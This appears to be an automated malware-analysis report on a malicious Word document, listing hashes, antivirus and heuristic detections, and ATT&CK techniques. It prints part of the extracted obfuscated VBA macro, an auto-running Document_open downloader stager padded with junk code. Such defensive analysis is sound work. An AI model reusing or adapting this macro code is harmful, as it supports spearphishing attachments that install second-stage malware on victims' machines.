Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f29bacfe8c11fd0f…

MALICIOUS

Office (OLE)

183.5 KB Created: 2019-12-13 20:12:00 Authoring application: Microsoft Office Word First seen: 2020-06-01
MD5: 681013cce927051d3891257239fdb682 SHA-1: 62ca7b71d03f1cbf2347c6ffb7ba2beac6f37f8f SHA-256: f29bacfe8c11fd0fb8ddcdeb641aeee3c9bebb58c245285ae55c683d4a6fcbf1
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The presence of a Document_Open macro and a hidden UserForm command stager strongly indicates malicious intent. The VBA code likely attempts to download and execute a second-stage payload, as suggested by the 'Doc.Downloader' ClamAV detection. The macro itself is heavily obfuscated, making specific IOCs beyond the macro filename difficult to extract.

Heuristics 7

  • ClamAV: Doc.Downloader.Sagent-7454028-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-7454028-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10926 bytes
SHA-256: 65ce2be72bea1822fd7864c3de56aa325b640665bd291e5760162988afe47927
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ujtlyucsx"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Bjxthchcvuto, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Hlhtomelwfq = Igmdlqtuv
Tlabpmcxum = Lgvnfrqwdiub
Cumpwlwxz = Cwjdtjstla
Select _
 Case Dncfsglqyxj
      Case 419
         Lepcyogsa _
         = Hex _
         (980)
         Gskycisfeeib = CVar(23)
         Eqnnnenzu _
         = Hex(879)
      Case 73
         Cqnmrxckh = CVar(840)
         Vnnqeefddcwwt _
         = 254
         Emxigydtzsfs = CDate _
         (671)
      Case 897
         Frmhevazx = _
         CInt(189)
         Urecgttpys = Log(Ysbrtoyzls)
         Ljopcsfpxzmgz = Yldpppenoddh
End Select
   Bnffqkoluup = Obnkcxsnald
Hwenfsunqbqm = Hjoemhsrq
Quodbbbrxdsg = Wyaxaxxhqke
Select _
 Case Rgapfyuoy
      Case 32
         Pzovxepcgp _
         = Hex _
         (32)
         Rtqiujedz = CVar(177)
         Klxnnimaxsqi _
         = Hex(317)
      Case 190
         Cjlvbfray = CVar(4)
         Opafuckzfekar _
         = 127
         Tpspbkqaszsh = CDate _
         (199)
      Case 610
         Djmpqysmvc = _
         CInt(33)
         Iudsiuthl = Log(Iglyphfcv)
         Cvxladbhtpa = Vwaqynqy
End Select
   Xjmwfagnec = Iimbcyhkdrne
Vxgvfxdidha = Xgtycmkyrnc
Szjgwicpejgix = Zefbwjjdjsl
Select _
 Case Sejevifezw
      Case 330
         Dztxmqesvynh _
         = Hex _
         (885)
         Niwaokqt = CVar(282)
         Zcmpokai _
         = Hex(529)
      Case 495
         Skqfwcgant = CVar(59)
         Dsvxhzia _
         = 460
         Csykdpdlye = CDate _
         (462)
      Case 200
         Lcsqdleqfdjw = _
         CInt(149)
         Urcaauhhixgl = Log(Wcvmplhsfqv)
         Lfyjcljvmixes = Uukrnnud
End Select
Kyhpeaaixxl
End Sub


Attribute VB_Name = "Pbyuzkyea"
Attribute VB_Base = "0{995B4F0C-870D-4070-8872-4EF50CCBDB51}{97138629-41CF-473B-9CD6-80C9B9B06FE4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Licydepx"
Function Vjejlrqj()
   Danlqgtewkl = Zqqgdhaofwn
Ckejhxhoxfo = Zhpezsfk
Oazgbzxdz = Eiancnfcblcwd
Select _
 Case Zbxvzgtdpjir
      Case 803
         Zbocbvzpqwf _
         = Hex _
         (105)
         Hwmdvyhaw = CVar(34)
         Gsleketv _
         = Hex(52)
      Case 522
         Bjnucnujlaq = CVar(752)
         Lhdgmtyndvkvi _
         = 597
         Fmcjatgmyjtk = CDate _
         (169)
      Case 197
         Lfohszxgygca = _
         CInt(949)
         Odytdadzxgzge = Log(Wtilwspwo)
         Wznvhzsixu = Hnnmhhim
End Select
Vgqgnvvqrl = Ujtlyucsx.Bjxthchcvuto
   Usseiwyylzd = Vtzfhtfygc
Oketmvxbfrwh = Alxapudqleg
Orpoqulul = Zdgagewrr
Select _
 Case Tagmcpxyznbp
      Case 939
         Qcfmcvorta _
         = Hex _
         (152)
         Ckhiotpwxoh = CVar(338)
         Wwnuryoxqqbq _
         = Hex(329)
      Case 624
         Wdchfznmnqr = CVar(440)
         Zmlbvbufy _
         = 83
         Ccyrlufrjdssu = CDate _
         (115)
      Case 494
         Eejjwcsq = _
         CInt(268)
         Eofpkjycgf = Log(Watlapdh)
         Tuxpwpetkmk = Fzczuupoc
End Select
Pdnuxjqqxtfp = Vgqgnvvqrl + Pbyuzkyea.Vdmfpmdzdd + Pbyuzkyea.Gcgfbuwbwbcbe + Pbyuzkyea.Cpgjfcqwlpk
   Tnuwjfhgxmpgb = Tqbunzcpa
Yluctbaolgtv = Twzbwwzztqxd
Wqxtvqgwmv = Fncazuzbucc
Select _
 Case Dtyreepi
      Case 202
         Uiazmmxkeii _
         = Hex _
         (85)
         Xsqceqruoj = CVar(777)
         Whehrdfqwhrz _
         = Hex(947)
      Case 763
         Oxryfvmhby = CVar(321)
         Lsywgzlh _
         = 853
         Scnfdaqpb = CDate _
         (849)
      Case 960
         Scucpe
... (truncated)